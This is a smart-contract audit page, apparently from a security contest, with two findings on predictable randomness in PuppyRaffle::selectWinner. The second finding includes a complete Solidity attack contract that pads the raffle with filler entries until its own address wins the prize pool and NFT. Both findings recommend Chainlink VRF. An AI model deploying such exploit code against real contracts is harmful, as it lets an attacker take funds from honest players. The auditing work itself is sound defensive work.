PuppyRaffle::selectWinner allows anyone to predict the winner and the minted puppy's rarityDescription: PuppyRaffle::selectWinner uses as a source of randomness: msg.sender, block.timestamp and block.difficulty to select the PuppyRaffle::winnerIndex and PuppyRaffle::rarity — none of which is a safe source of randomness. block.timestamp and block.difficulty can be known within the block and msg.sender can be manipulated by an attacker — by grinding addresses off-chain — until the hash produces the outcome they want, then submit the transaction.
Because msg.sender is fully controlled by the caller, an attacker does not need to wait for favorable conditions: within a single block, where block.timestamp and block.difficulty are already known, the search space is tiny (PuppyRaffle::players.length outcomes for the winner, 100 for the rarity), so grinding an address that yields the desired result is trivial.
Impact: Any user can predict the outcome for the winner and rarity and win the prize pool and the rarity they want. As a result, honest users have no real chance of winning, which makes the raffle fundamentally broken rather than merely unfair. PuppyRaffle::winnerIndex weak randomness is a high severity while PuppyRaffle::rarity is a medium.
Proof of Concept:
In the following test, a PuppyRaffle contract starts with four legitimate users who entered the raffle. Using the same non-random calculation in PuppyRaffle.sol we store the expected winner before firing PuppyRaffle::selectWinner. After firing PuppyRaffle::selectWinner we store that real winner and compare it to the expected one confirming that both match. This means that someone can fire PuppyRaffle::selectWinner controlling the msg.sender and combining with the other two known inputs to get its address index.
In this case we get as outputs:
The contract sends the reward to a predetermined user.
Place the following test into PuppyRaffle.t.sol.
Same setup as PoC 1. We calculate the expected rarity with the same parameter as we know the PuppyRaffle::rarity will do. Then PuppyRaffle::selectWinner its fired and we store the real rarity outcome. When comparing it against each other we get both are equal. Meaning PuppyRaffle::rarity uses weak and predictable randomness which someone can take advantage selecting the rarity they want.
In this case we get as outputs:
The contract gives a predefined rarity.
Place the following test into PuppyRaffle.t.sol.
Recommended Mitigation: Use Chainlink VRF for both the winner index and the rarity roll. This external oracle provides verifiable on-chain randomness. It requires two steps: request the random number and then a callback in fulfillRandomWords. It will also be necessary to restructure PuppyRaffle::selectWinner for proper functionality.
No block variable (timestamp, prevrandao, blockhash, difficulty, number) should ever be used as a source of randomness on-chain.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.